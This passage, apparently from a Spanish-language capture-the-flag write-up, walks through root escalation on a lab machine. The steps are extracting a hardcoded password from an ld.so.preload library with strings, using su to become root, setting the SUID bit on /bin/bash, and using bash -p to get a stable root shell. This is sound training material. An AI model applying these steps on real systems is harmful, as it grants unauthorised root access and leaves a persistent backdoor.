Si vemos los permisos de ese archivo, veremos que le pertenece al Root, pero al leerlo, hace referencia a otro archivo que igual pertenece al Root y que tenemos el permiso para poder ejecutarlo:
pepito@ctf:~$ ls -la /etc/ld.so.preload
-rw-r--r-- 1 root root 21 nov 23 2024 /etc/ld.so.preload
pepito@ctf:~$ cat /etc/ld.so.preload
/lib/libscaperoom.so
pepito@ctf:~$ ls -la /lib/libscaperoom.so
-rwxr-xr-x 1 root root 16912 nov 23 2024 /lib/libscaperoom.so
Investiguemos primero de qué van estos dos archivos:
| Archivo ld.so |
|---|
| Es un archivo especial en Linux relacionado con el dynamic linker/loader (ld.so). Le indica al sistema que cargue ciertas bibliotecas compartidas (.so) antes que cualquier otra librería cuando se ejecuta un programa dinámico. |
| Archivo Share Object (.so) |
|---|
| Un archivo .so es una Shared Object Library, equivalente a una DLL en Windows. Permite sobrescribir funciones, interceptar llamadas del sistema y modificar comportamiento de programas. |
Prácticamente, el archivo /etc/ld.so.preload carga la biblioteca compartida /lib/libscaperoom.so para ejecutar una acción.
En el historial también veremos lo siguiente:
strings /lib/libscaperoom.so | grep -i "**********"
strings /lib/libscaperoom.so | grep -i "secret"
strings /lib/libscaperoom.so
su
whoami
Parece que leyó el contenido de esa biblioteca y buscó una cadena de caracteres, para después autenticarse como Root y aplicar un whoami. Presiento que esa cadena puede ser una contraseña.
Vamos a repetir esos mismos pasos. Primero usemos strings para ver el contenido de la librería /lib/libscaperoom.so:
pepito@ctf:~$ strings /lib/libscaperoom.so
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
...
...
/proc/%d/comm
**********
[+] Acceso root concedido!
[+] Reloj detenido... Buen trabajo!!!
/bin/systemctl stop apagar_automatico.service
/bin/bash
:*3$"
...
...
Puedes ver que existe la misma cadena.
Probémosla para ver si nos permite autenticarnos como Root:
pepito@ctf:~$ su
Password:
[+] Acceso root concedido!
[+] Reloj detenido... Buen trabajo!!!
root@ctf:~# root
Sí sirvió, somos Root, pero la terminal es un poco extaña.
Para tener un mejor control, podemos asignarle permisos SUID a la Bash y luego usarla con privilegios para tener una sesión más estable del Root.
# Ejecuta: ls -la /bin/bash
root@ctf:~# root@ctf:~# -rwxr-xr-x 1 root root 1183448 abr 18 2022 /bin/bash
# Ejecuta: chmod u+s /bin/bash y luego ls -la /bin/bash
root@ctf:~# root@ctf:~# -rwsr-xr-x 1 root root 1183448 abr 18 2022 /bin/bash
root@ctf:~# exit
pepito@ctf:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 abr 18 2022 /bin/bash
pepito@ctf:~$ bash -p
bash-5.0# whoami
root
Aun así, podemos leer la última flag que está en la ruta /root/root.txt:
bash-5.0# cat root.txt
==================================================
¡ENHORABUENA, INTRÉPIDO HACKER!
Has logrado superar todos los desafíos y escapar de esta sala virtual. El tiempo no fue tu enemigo,
sino tu aliado, y cada decisión te ha llevado hasta este momento.
La clave para tu victoria es:
**********
Esta flag es el símbolo de tu éxito y la prueba de que has alcanzado el nivel más alto de este reto.
Guarda este logro con orgullo, pues no todos pueden llegar tan lejos.
Recuerda:
- Cada pista que descifraste fue una lección valiosa.
- Cada error que cometiste, una oportunidad de crecer.
- Cada éxito, un paso más hacia el dominio.
Esto no es el final, sino el comienzo de nuevos desafíos. ¿Estás preparado para lo que viene?
¡Nos vemos en el próximo reto, donde tu ingenio será puesto a prueba una vez más!
==================================================
Y con esto, terminamos la máquina.
Links de Investigación
- https://www.geeksforgeeks.org/sql/mysql-des_decrypt-function/
- https://medium.com/@Newbeee/mysql-enumeration-using-metasploit-msfconsole-a-practical-lab-walkthrough-a94c25e0cbde